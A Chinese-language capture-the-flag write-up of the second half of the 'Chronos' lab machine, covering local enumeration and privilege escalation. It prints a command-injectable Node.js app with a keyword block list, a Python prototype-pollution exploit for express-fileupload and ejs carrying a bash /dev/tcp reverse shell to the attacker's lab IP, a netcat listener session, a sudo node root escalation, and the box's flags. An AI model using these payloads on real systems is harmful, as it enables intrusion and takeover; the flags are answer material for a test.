Linux chronos 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  • 用户权限是非常低的
  • 系统内核版本 4.15.0-151-generic 也不是能很好利用内核漏洞

我们可以确定一下当前系统中有几个用户

www-data@chronos:/opt/chronos$ cd /home
cd /home
www-data@chronos:/home$ ls
ls
imera
www-data@chronos:/home$ cd imera
cd imera
www-data@chronos:/home/imera$ ls
ls
user.txt
  • 我们发现一个名为 imera 的用户
  • imera 目录中发现有一个 user.txt
  • 但我们没有权限查看

简单的信息收集完后,下一步,我们应该尝试提权,我们可以回到最初的目录文件简单查看一番

www-data@chronos:/opt/chronos$ ls -alh
ls -alh
total 60K
drwxr-xr-x  3 www-data www-data 4.0K Oct 26 01:34 .
drwxr-xr-x  4 root     root     4.0K Jul 30  2021 ..
-rw-r--r--  1 www-data www-data 1.4K Aug  3  2021 app.js
-rw-r--r--  1 www-data www-data   45 Oct 26 01:36 a.sh
drwxr-xr-x 56 www-data www-data 4.0K Jul 30  2021 node_modules
-rw-r--r--  1 www-data www-data   97 Jul 30  2021 package.json
-rw-r--r--  1 www-data www-data  33K Jul 30  2021 package-lock.json
  • 我们应该处在某个 Web 应用的目录中,之前端口查看时知道是使用 Node.js 技术,可以推断出此程序是其开发的
  • 对于 Node.js 应用,我们应该关注 package.json 文件,它是管理包依赖已经应用配置信息的文件

探索当前的 Node.js 应用

www-data@chronos:/opt/chronos$ cat package.json
cat package.json
{
  "dependencies": {
    "bs58": "^4.0.1",
    "cors": "^2.8.5",
    "express": "^4.17.1"
  }
}
  • dependencies 是一个蕴含依赖包名的数组对象

  • 我们就可以从其引入的三个包下手,查它们存在的漏洞

    • bs58 眼熟吗?想到前面的 base58 加密了吗?对于它想提升权限帮助不大
    • cors 模块解析 作用 主要用来解决客户端请求与服务端的跨域问题,对于它想提升权限帮助不大
    • express 相较于原生的http模块做了较好的扩展工作,让开发者可以高效地进行服务器业务开发,对于有用漏洞就应该存在于此

查看 app.js 了解其运行流程


// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');


app.use(cors());

app.get('/', (req,res) =>{
  
    res.sendFile("/var/www/html/index.html");
});

app.get('/date', (req, res) => {

    var agent = req.headers['user-agent'];
    var cmd = 'date ';                        // 开始构建命令语句
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

            res.send("Something went wrong");
        }

        // 执行命令,利用关键
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{

        res.send("Permission Denied");
    }
})

app.listen(port,() => {

    console.log(`Server running at ${port}`);

})
  • 发现之前漏洞注入的关键就在此处 concat 变量,是构建的 shell 命令
  • 可以是此应用依旧是以此用户创建的,权限有限

我们到上层目录查看一下 /opt 还有没有其他应用

www-data@chronos:/opt/chronos$ ls -alh /opt
ls -alh /opt
total 16K
drwxr-xr-x  4 root     root     4.0K Jul 30  2021 .
drwxr-xr-x 23 root     root     4.0K Jul 29  2021 ..
drwxr-xr-x  3 www-data www-data 4.0K Oct 26 01:34 chronos
drwxr-xr-x  4 root     root     4.0K Aug  3  2021 chronos-v2

www-data@chronos:/opt/chronos$ ls -alh /opt/chronos-v2
ls -alh /opt/chronos-v2
total 20K
drwxr-xr-x 4 root root 4.0K Aug  3  2021 .
drwxr-xr-x 4 root root 4.0K Jul 30  2021 ..
drwxr-xr-x 3 root root 4.0K Aug  3  2021 backend
drwxr-xr-x 3 root root 4.0K Aug  3  2021 frontend
-rw-r--r-- 1 root root  381 Aug  3  2021 index.html

www-data@chronos:/opt/chronos$ ls -alh /opt/chronos-v2/backend
ls -alh /opt/chronos-v2/backend
total 64K
drwxr-xr-x  3 root root 4.0K Aug  3  2021 .
drwxr-xr-x  4 root root 4.0K Aug  3  2021 ..
drwxr-xr-x 71 root root 4.0K Aug  3  2021 node_modules
-rw-r--r--  1 root root  296 Jul 29  2021 package.json
-rw-r--r--  1 root root  43K Aug  3  2021 package-lock.json
-rw-r--r--  1 root root  505 Aug  3  2021 server.js
  • 发现存在一个名称与 chronos 很像的应用 chronos-v2 而且它是 root 权限
  • /opt/chronos-v2 核实雀实是一个 Web 应用,它有两个目录从名称上是后端与前端的意思
  • 重点是 backend 后端,其中目录结构与 /opt/chronos 十分相似

分别查看 package.jsonserver.js

{
  "name": "some-website",
  "version": "1.0.0",
  "description": "",
  "main": "server.js",
  "scripts": {
    "start": "node server.js"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^3.1.5",
    "express": "^4.17.1",
    "express-fileupload": "^1.1.7-alpha.3"
  }
}
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
})
  • package.json 指明了服务端运作文件是 server.js 涉及三个模块

    • ejs 模块是嵌入式 JavaScript 模板引擎
    • express 与之前相同
    • express-fileupload 模块 express 框架下使用的中间件,用于文件上传
  • server.js 显示运行时监听的是靶机的本地 127.0.0.1 8080 端口

通过网络搜查发现漏洞关键是 express-fileupload 的中,关于漏洞的原博客 https://blog.p6.is/Real-World-JS-1/

其中对漏洞利用的 Python 脚本

import requests

# 是 Kali 的监听端口及IP
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.111/5555 0>&1"'

# 其中 IP 与端口是 server.js 中的
# pollute
requests.post(
    'http://127.0.0.1:8080', 
    files = {'__proto__.outputFunctionName': (
        None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")
    }
)

# execute command
requests.get('http://127.0.0.1:8080')
  • 注意对脚本的内容做修改,并且脚本是在靶机上执行

  • 可以通过在 Kali 上使用 python3 的 http.server 然后在靶机上通过 wget 下载

    www-data@chronos:/opt/chronos$ cd /tmp  
    cd /tmp
    www-data@chronos:/tmp$ ls
    ls
    systemd-private-b18aa97a388a4208b11b80f093956ed0-apache2.service-VKV6aU
    systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-resolved.service-9ejNK3
    systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-timesyncd.service-5S27fr
    www-data@chronos:/tmp$ wget http://192.168.56.111/exp.py
    wget http://192.168.56.111/exp.py
    --2022-10-26 05:18:08--  http://192.168.56.111/exp.py
    Connecting to 192.168.56.111:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 391 [text/x-python]
    Saving to: ‘exp.py’
    
        0K                                                       100%  395K=0.001s
    
    2022-10-26 05:18:08 (395 KB/s) - ‘exp.py’ saved [391/391]
    
    www-data@chronos:/tmp$ ls
    ls
    exp.py
    systemd-private-b18aa97a388a4208b11b80f093956ed0-apache2.service-VKV6aU
    systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-resolved.service-9ejNK3
    systemd-private-b18aa97a388a4208b11b80f093956ed0-systemd-timesyncd.service-5S27fr
    

在执行脚本前,我们先开起kali 的 netcat 监听

┌──(kali㉿kali)-[~]
└─$ netcat -lvp 5555
listening on [any] 5555 ...
connect to [192.168.56.111] from chronos.local [192.168.56.113] 59462
bash: cannot set terminal process group (777): Inappropriate ioctl for device
bash: no job control in this shell
imera@chronos:/opt/chronos-v2/backend$ ls
ls
node_modules
package.json
package-lock.json
server.js
imera@chronos:/opt/chronos-v2/backend$ cd ~
cd ~
imera@chronos:~$ ls
ls
user.txt
imera@chronos:~$ cat user.txt
cat user.txt
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
imera@chronos:~$ 
  • 发现获取的是 chronos
  • 那么我们可以查看一下之前的 user.txt 文件

看来我们需要进行二段提取,我们通过使用 sudo -l

imera@chronos:~$ sudo -l
sudo -l
Matching Defaults entries for imera on chronos:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User imera may run the following commands on chronos:
    (ALL) NOPASSWD: /usr/local/bin/npm *
    (ALL) NOPASSWD: /usr/local/bin/node *
  • 此处我们可以使用 node 进行提权

使用 sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'

imera@chronos:~$ sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
<ild_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
id
uid=0(root) gid=0(root) groups=0(root)

第二个 flag

cd /root
ls
root.txt
cat root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

完成

两个 flag

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

解密

o chronos pernaei file mou.
apopse siopi mazeuoume oneira.
posted @ 2022-10-26 14:03  sha0dow  阅读(1327)  评论(0编辑  收藏  举报